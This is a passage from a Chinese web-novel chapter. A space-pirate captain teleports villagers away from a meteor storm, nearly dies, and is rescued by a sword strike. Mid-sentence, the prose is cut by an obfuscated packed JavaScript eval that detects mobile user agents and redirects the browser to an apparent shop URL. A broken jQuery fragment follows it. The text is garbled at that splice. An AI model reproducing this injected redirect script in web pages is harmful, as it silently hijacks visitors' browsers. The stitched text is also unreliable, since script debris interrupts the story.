事态刻不容缓,贺星寰来不及多言,放开小皇帝,沉着脸就往物资点跑。


    身后同时响起急促脚步声。


    贺星寰先尝试加速,想借此甩开紧跟在后头的人。尝试无果后,皱起眉,一个急停在原地站定。


    身后人猝不及防,直直撞上了他的后背。


    他便顺势抓住这人衣领,一言不发,就往角落推。


    “我要跟你过去!”小皇帝拼命反抗。


    对于他的话,星盗头目不屑一顾:“滚边上去,少来碍老子的事!”


    一番快速打斗,实战经验不够的皇帝很快败下阵来,被贺星寰牢牢制伏。


    擒住人的贺星寰拿出随身携带的应急防护罩,确认激活,将皇帝圈在防护罩内。


    先前在添霞星使用的群体防护罩造价昂贵,暂时多余存货。是以,目前星盗团大部分人带的是单人专用款,且每人仅有一个。


    这意味着,贺星寰把唯一保命的道具留给了宁立殊。


    并且给得毫不犹豫。


    其中一个原因,固然是考虑到了皇帝这名特殊人质的利用价值。即使皇帝未来必定会死,也得死在他的手下,不能死在当下,死在莫名其妙的陨石天灾中。


    不过,这只是次要理由。


    最重要的原因是,作为团长,贺星寰不可能躲在防护罩里苟且偷生。


    过往的经历铸就了他,也坚定了他的决心。


    他,贺星寰,绝不会放弃同伴,临阵脱逃!


    “贺星寰!!!”


    防护罩内,小皇帝红了眼睛,使劲拍打着罩墙,大声喊着他的名字。


    抬起的脚微微一滞。


    搞什么?弄得像丈夫要上战场了,留在家里的小媳妇儿崩溃挽留似的。


    明明他俩没有任何亲密关系,只是纯粹到不能再纯粹的死敌。


    贺星寰什么都没说,斜睨了头发凌乱的宁立殊一眼,就干脆利落转身,快步跑远。


    折返物资点的路上,简单看了圈周遭情况。


    委实不容乐观。


    头顶天空正在发出剧烈悲鸣,像是从最深处挤压出来的、持续不断的轰鸣声。


    突然间,轰鸣大盛,原本完整的、缀着温和云堆的天幕被骤然撕裂,绽开了数十道,不,是上百道瑰丽而致命的裂痕。


    那是陨石与大气层剧烈摩擦燃烧后留下的尾迹,极其强势地割裂云层。


    尾迹颜色不一。橘红、炽白、幽蓝……组合成令人难忘的绚烂烟火。


    烟火下坠,以一种倾斜的、隐含恶意的角度,霎时间布满了视野所能及的每一寸天空。


    宛若美轮美奂的人间幻梦。


    然而,所有人都知道,眼前发生的事绝非美梦,而是来自地狱的绘景。


    “咚!”


    第一位居民浑身无力,颤抖着跪倒了。


    在之前那段时光里,他是一名侥幸活下来的幸运儿。可就算是他,也从来没见过规模如此浩大的陨石群。


    密密麻麻,堪称遮天蔽日。


    悄无声息间,空气愈发滚烫,带着焦糊气息的热风蛮横来往,烧断了西区居民们苦苦支撑的脊梁。


    第二位灾民瘫倒了。


    陨石雨已经夺走了他的所有家人、朋友,徒留他一人艰难存活。


    此时,面对近在咫尺的末日景象,他泪流满面,认为这就是自己注定的结局。


    “贼老天,为什么!到底为什么??”


    一并跪着的人群中,不乏有高声咒骂者,辱骂着命运不公。还有无措谢罪者,跪在原地不断磕头谢罪,祈求老天爷高抬贵手,再放自己一马。


    生活对千屿星人民而言,实在太过艰难。


    帝国严苛的赋税不曾压垮他们,流窜边境的星盗也未能将他们击溃。


    他们苦苦捱着,始终煎熬着,期盼悲剧过后的苦尽甘来。


    可偏偏,这永无止境的陨石天灾,要将他们赶尽杀绝。


    莫非是天命该绝吗?


    既然是这样的话,不如认了吧。


    千屿星灾民们已经丧失了求生意志,陷入绝望。


    “死了好啊……死了好……”


    “爸妈,我带着娃儿来见……”


    “说什么丧气话,见个屁啊!”


    忽地,人群中传来一声暴喝,还没来得及看清声音主人,这名灾民就感觉身体一轻。


    下一秒,他竟出现在了某艘从未见过的高科技星船上,两名工装打扮的英俊少年与他大眼瞪小眼。


    灾民:?


    目睹此人消失的其他灾民:??


    负责守大本营的顾砺寒、楚天禄:???


    所有人发懵期间,紧急调动能力的贺星寰咬紧牙关,抓紧传送。


    一个、两个、三个……


    “哥,你疯了!”


    白叙安从物资点跑过来,远远望见了贺星寰的动作,意识到对方在干什么后,当即惊怒交加,连老大都顾不上叫:“这么短的时间,你要用多少次能力才能把人送完?你身体吃得消吗?还想不想活了!”


    见贺星寰沉着脸不做声,他急得走上前,一把抓住手臂:“哥!贺星寰!你住手!我现在让小顾开船过来运人,照样……”


    在开始传送前,贺星寰风轻云淡地看了白叙安一眼,抹掉唇角血迹:“你也知道时间短?开船过来接人的话,哪还有时间逃出去?”


    “赶紧回去,开广播叫人集合。容平也是,用小型机捞人,能捞多少是多少!星船早点走,不用等我。”


    白叙安哭得面目扭曲,涕泪横流:“哥,你不能这样!要是当年的事再来一遍,我怎么受得了!”


    “少在这儿唧唧歪歪,赶紧滚。”


    白叙安消失了。


    贺星寰顺手把白叙安身上摸出的防护罩丢出去,再罩住一人。


    陨石越压越近。


    脚下的地面在无规则震动。远处,第一批陨石已然着陆,发出重锤敲击巨鼓般的响声,震耳欲聋。


    陨石所到之处,树木并没有被折断,而是被狂暴的力量直接撕碎、碳化,仅留下一具具植被焦躯。


    争分夺秒间,灾民全部转移。面前仅剩下一对父子,还是昨天来领物资的熟人。


    小男孩用空洞的眼睛看他:“宝宝……害怕……”


    男孩父亲拼命哀求:“大人,求您了,救救我儿子!我死了没关系,只要我儿子能活下去……”


    “吵死了。”


    贺星寰面无表情咽下一口血,冷着脸,发动仅存能力,将父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683995|186853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子二人统统转移。


    此刻,一片死寂的世界中,只剩下贺星寰一人。


    贺星寰能感觉到强烈的灼痛感。但他不确定,这究竟是陨石迫近造成的烧伤,还是超负荷使用能力导致的神经痛楚。


    他没时间想,也懒得多想。当务之急,是尽快逃出这处炼狱。


    还有很多事没做呢,比如那个落到手里的小皇帝,都没来得及杀之而后快。


    他怎么可能白白死在这里?


    逆着陨石降落的轨迹,异能告罄的贺星寰别无他法,唯有凭借两双腿,跨过熔岩似的灼热地面,顶着头晕目眩的身体,拼命往最初的物资点跑。


    那地方有架搬运物资用的后勤机,极限一点的话,完全来得及逃出生天。


    想象很美好,实际执行也还算顺利。


    可是。


    就在贺星寰及时找到后勤机,将要迈上驾驶座的刹那,他瞳孔骤缩,一脚踹飞机身,借力跃远。


    “砰——”


    陨石落下,在他刚才待的位置上砸出巨坑。


    贺星寰的反应算快,没有被砸个正着,后勤机却变成了一副残骸,无法继续使用。


    生死关头,贺星寰仍然十分冷静。


    他没有因为后勤机的意外摧毁而懊恼,而是迅速重新思考,估算了自己的异能恢复速度。


    一分钟。


    只要再撑一分钟,他就可以传送自己,去往安全方位。


    他能做到。


    他不会死。


    贺星寰一边躲避着声势浩大的陨石袭击,一边在心中倒计时。


    然而,对于苦苦求生的人类来说,这一分钟显得何其漫长。


    陨石越砸越凶,极尽狂暴,几乎像是锁定了这个不知天高地厚的人类,誓要把挑衅者当场击杀。


    躲到最后,周围全部变成了沸腾火海。


    天空中的巨物落下,直直地冲贺星寰而来。贺星寰躲无可躲,尝试强行发动能力。


    能力发动失败。


    好吧,那就硬扛一下好了……


    贺星寰叹了口气,无奈闭上眼。


    以他超出常人的身体素质,估计不会死得很透。云釉那丫头不是天天吹自个儿是神医吗?希望能靠谱点,把他抢救回来吧。


    实在不行,拿小皇帝的药试试,死马当活马医呗。像他这样的坏蛋,天堂不收,阎王见了也愁,说不定真能活呢。


    “贺星寰!”


    或许是死前产生幻觉了,怎么听到有人喊他?


    “贺星寰!!”


    幻觉怎的越来越真了。


    是不是星船上那群人正坐着,边哭边骂他?特别是白叙安和楚天禄,这俩肯定骂得最凶,鼻涕都淌一脸了。


    “贺星寰!我操你大爷的贺星寰!!!让开点!!”


    不对,好像不是幻觉?


    下意识让开的同时,贺星寰蓦地睁开眼。


    然后,看到了令他毕生难忘的画面。


    “锵——”


    在象征着毁灭的陨石雨与漫天火海中,剑身嗡鸣,一道姝丽的金色流光闪过,锐不可当,生生劈开了隔绝生与死的界限。


    也以极其霸道决绝的姿态,蛮横切入他的视野。


    这一剑,刻骨铭心。